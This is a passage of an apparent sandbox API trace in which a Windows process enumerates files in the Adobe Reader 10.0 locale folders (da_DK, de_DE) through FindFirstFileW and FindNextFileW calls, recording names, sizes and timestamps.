ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d723420, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x13400, dwReserved0=0x0, dwReserved1=0x0, cFileName="Multimedia.DAN", cAlternateFileName="MULTIM~1.DAN")) returned 1 [0218.678] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d9f6e40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="pddom.DAN", cAlternateFileName="")) returned 1 [0218.678] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82cd4c20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7f000, dwReserved0=0x0, dwReserved1=0x0, cFileName="PPKLITE.DAN", cAlternateFileName="")) returned 1 [0218.678] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f89c980, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x144c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="RdLang32.DAN", cAlternateFileName="")) returned 1 [0218.678] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82fce7a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadOutLoud.DAN", cAlternateFileName="READOU~1.DAN")) returned 1 [0218.678] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d984a20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x0, dwReserved1=0x0, cFileName="reflow.DAN", cAlternateFileName="")) returned 1 [0218.678] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7da8f3c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4600, dwReserved0=0x0, dwReserved1=0x0, cFileName="SaveAsRTF.DAN", cAlternateFileName="SAVEAS~1.DAN")) returned 1 [0218.678] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82cd4c20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x5c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Search.DAN", cAlternateFileName="")) returned 1 [0218.678] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82cd4c20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="SendMail.DAN", cAlternateFileName="")) returned 1 [0218.679] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f971c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fe3480, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fe3480, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services", cAlternateFileName="")) returned 1 [0218.679] GetProcessHeap () returned 0x550000 [0218.679] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x2600098 [0218.679] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\Services\\*", lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f971c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fe3480, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fe3480, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639808 [0218.679] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f971c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fe3480, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fe3480, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0218.679] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81fe3480, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x8ca7, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEXShare.asfx", cAlternateFileName="DEXSHA~1.ASF")) returned 1 [0218.679] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services.asfx", cAlternateFileName="SERVIC~1.ASF")) returned 1 [0218.679] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services.asfx", cAlternateFileName="SERVIC~1.ASF")) returned 0 [0218.679] FindClose (in: hFindFile=0x639808 | out: hFindFile=0x639808) returned 1 [0218.680] GetProcessHeap () returned 0x550000 [0218.680] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x2600098 | out: hHeap=0x550000) returned 1 [0218.680] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ddfb360, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="Spelling.DAN", cAlternateFileName="")) returned 1 [0218.680] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f4be5c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="updater.DAN", cAlternateFileName="")) returned 1 [0218.680] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82caeac0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Weblink.DAN", cAlternateFileName="")) returned 1 [0218.680] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82caeac0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Weblink.DAN", cAlternateFileName="")) returned 0 [0218.680] FindClose (in: hFindFile=0x6397c8 | out: hFindFile=0x6397c8) returned 1 [0218.680] GetProcessHeap () returned 0x550000 [0218.680] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25e0088 | out: hHeap=0x550000) returned 1 [0218.680] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d723420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82f5c380, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82f5c380, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de_DE", cAlternateFileName="")) returned 1 [0218.680] GetProcessHeap () returned 0x550000 [0218.680] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x25e0088 [0218.680] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d723420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82f5c380, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82f5c380, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6397c8 [0218.703] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d723420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82f5c380, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82f5c380, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0218.703] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d984a20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xb000, dwReserved0=0x0, dwReserved1=0x0, cFileName="accessibility.DEU", cAlternateFileName="ACCESS~1.DEU")) returned 1 [0218.703] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82ba4120, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6c800, dwReserved0=0x0, dwReserved1=0x0, cFileName="Acroform.DEU", cAlternateFileName="")) returned 1 [0218.703] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x801d5ec0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeCollabSync.DEU", cAlternateFileName="ADOBEC~1.DEU")) returned 1 [0218.703] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82a99780, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x80a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Annots.DEU", cAlternateFileName="")) returned 1 [0218.703] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x820558a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3600, dwReserved0=0x0, dwReserved1=0x0, cFileName="BRdlang32.DEU", cAlternateFileName="BRDLAN~1.DEU")) returned 1 [0218.704] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82bca280, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1fe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Checkers.DEU", cAlternateFileName="")) returned 1 [0218.704] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82ba4120, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x21e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="DigSig.DEU", cAlternateFileName="")) returned 1 [0218.704] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82bca280, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="DVA.DEU", cAlternateFileName="")) returned 1 [0218.704] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82ec3e00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="eBook.DEU", cAlternateFileName="")) returned 1 [0218.704] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82ba4120, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa600, dwReserved0=0x0, dwReserved1=0x0, cFileName="Escript.deu", cAlternateFileName="")) returned 1 [0218.704] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82ba4120, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="IA32.DEU", cAlternateFileName="")) returned 1 [0218.704] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7da43100, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x14400, dwReserved0=0x0, dwReserved1=0x0, cFileName="makeaccessible.DEU", cAlternateFileName="MAKEAC~1.DEU")) returned 1 [0218.704] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d723420, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x14600, dwReserved0=0x0, dwReserved1=0x0, cFileName="Multimedia.DEU", cAlternateFileName="MULTIM~1.DEU")) returned 1 [0218.704] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d984a20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="pddom.DEU", cAlternateFileName="")) returned 1 [0218.704] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82ba4120, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x88400, dwReserved0=0x0, dwReserved1=0x0, cFileName="PPKLITE.DEU", cAlternateFileName="")) returned 1 [0218.704] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f7de2a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15c400, dwReserved0=0x0, dwReserved1=0x0, cFileName="RdLang32.DEU", cAlternateFileName="")) returned 1 [0218.704] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82f5c380, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadOutLoud.DEU", cAlternateFileName="READOU~1.DEU")) returned 1 [0218.704] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7da43100, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x0, dwReserved1=0x0, cFileName="reflow.DEU", cAlternateFileName="")) returned 1 [0218.705] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7da8f3c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="SaveAsRTF.DEU", cAlternateFileName="SAVEAS~1.DEU")) returned 1 [0218.705] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82bca280, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6200, dwReserved0=0x0, dwReserved1=0x0, cFileName="Search.DEU", cAlternateFileName="")) returned 1 [0218.705] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82bca280, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x0, dwReserved1=0x0, cFileName="SendMail.deu", cAlternateFileName="")) returned 1 [0218.705] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fe3480, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fe3480, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services", cAlternateFileName="")) returned 1 [0218.705] GetProcessHeap () returned 0x550000 [0218.705] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x2600098 [0218.705] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\Services\\*", lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fe3480, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fe3480, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639808 [0218.738] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, 